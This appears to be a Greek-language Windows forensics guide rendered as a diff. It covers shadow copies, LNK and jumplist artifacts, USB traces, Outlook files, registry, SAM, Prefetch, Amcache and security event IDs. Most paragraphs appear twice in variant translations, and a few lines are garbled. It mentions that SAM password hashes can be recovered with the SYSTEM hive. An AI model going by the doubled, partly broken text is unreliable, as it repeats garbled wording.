![](<../../../images/image (495) (1) (1) (1).png>)
### Αντίγραφα Σκιάς Όγκου
### Αντίγραφα Σκιάς
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή τόμων υπολογιστή, ακόμη και όταν είναι σε χρήση.
Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα:
![](<../../../images/image (94).png>)
Τοποθετώντας την εικόνα ψηφιακής ποινικής έρευνας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
Τοποθετώντας την εικόνα ψηφιακής εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς.
![](<../../../images/image (576).png>)
@ -75,9 +73,9 @@
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι **αρχείο** **ή** **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες τόμου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί.
Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο χρησιμοποιήθηκε **πρώτη** **φορά** και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/).
@ -98,11 +96,11 @@
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV.
In this case, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV.
### Jumplists
Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιούνται από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
@ -110,7 +108,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**.
Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
Μπορείτε να ελέγξετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../images/image (168).png>)
@ -142,7 +140,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
@ -154,7 +152,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή.
Η εργασία βρίσκεται στο παρακάτω μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Η εργασία βρίσκεται στο εξής μονοπάτι: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
@ -166,7 +164,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
- **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαίως κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης.
- **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης.
Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών.
Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με πρόβλεψη για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών.
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
@ -191,12 +189,12 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Microsoft Outlook
Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI:
Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια MAPI headers:
- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν το email εστάλη
- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email
- `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας
- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; όχι διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;)
- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;)
Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST στο:
@ -211,7 +209,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Microsoft Outlook OST Files
Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορεί να χρησιμοποιηθεί ο [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
@ -243,9 +241,9 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου:
- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για πλοήγηση μέσω του μητρώου Windows της τρέχουσας συνεδρίας.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να πλοηγηθείτε μέσω αυτού με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την πλοήγηση μέσω του φορτωμένου μητρώου και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένων Στοιχείων
@ -258,7 +256,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### SAM
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος.
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes κωδικών πρόσβασης χρηστών** του συστήματος.
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**.
@ -280,19 +278,19 @@ interesting-windows-registry-keys.md
### BAM (Background Activity Moderator)
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου).
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Δεδομένων του μητρώου).
### Windows Prefetch
Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα.
Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10.
Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10.
Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **ανοιχτά** από το πρόγραμμα.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
Για να ελέγξετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -305,13 +303,13 @@ interesting-windows-registry-keys.md
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**.
Μπορείτε να αποκτήσετε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`.
Δίνει τις εξής πληροφορίες:
Παρέχει τις εξής πληροφορίες:
- AppID και Διαδρομή
- Χρήστης που εκτέλεσε τη διαδικασία
@ -333,13 +331,13 @@ interesting-windows-registry-keys.md
- Πλήρης διαδρομή του αρχείου
- Μέγεθος του αρχείου
- Τελευταία τροποποίηση υπό **$Standard_Information** (SI)
- Τελευταία τροποποίηση κάτω από **$Standard_Information** (SI)
- Τελευταία ενημέρωση του ShimCache
- Σημαία εκτέλεσης διαδικασίας
Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος:
Αυτά τα δεδομένα αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες με βάση την έκδοση του λειτουργικού συστήματος:
- Για XP, τα δεδομένα αποθηκεύονται υπό `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών.
- Για XP, τα δεδομένα αποθηκεύονται κάτω από `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών.
- Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα.
Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser).
@ -352,7 +350,7 @@ interesting-windows-registry-keys.md
Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
Για να εξαγάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
@ -379,9 +377,9 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\
Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές.
Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί, καθώς οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές.
Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Events
@ -394,7 +392,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
- Φιλοξενούμενοι που εμπλέκονται (hostname, IP)
- Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση.
Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την επέκταση **.evtx**.
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
@ -402,7 +400,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την ικανότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία.
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την χωρητικότητα του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία.
### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών:
@ -429,16 +427,16 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625:
- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση καταμέτρησης ονομάτων χρηστών.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψίας κωδικού ή brute-force.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force.
- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις.
- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
- **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
- **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία.
- **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει.
- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης.
- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket.
- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού.
- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας.
- **0xC0000225**: Υποδεικνύει σφάλμα συστήματος αντί για πρόβλημα ασφαλείας.
- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας.
#### EventID 4616:
@ -451,7 +449,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
#### EventID 1102:
- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά μια κόκκινη σημαία για την κάλυψη παράνομων δραστηριοτήτων.
- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων.
#### EventIDs για Παρακολούθηση Συσκευών USB:
@ -465,7 +463,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### Ανάκτηση Γεγονότων Windows
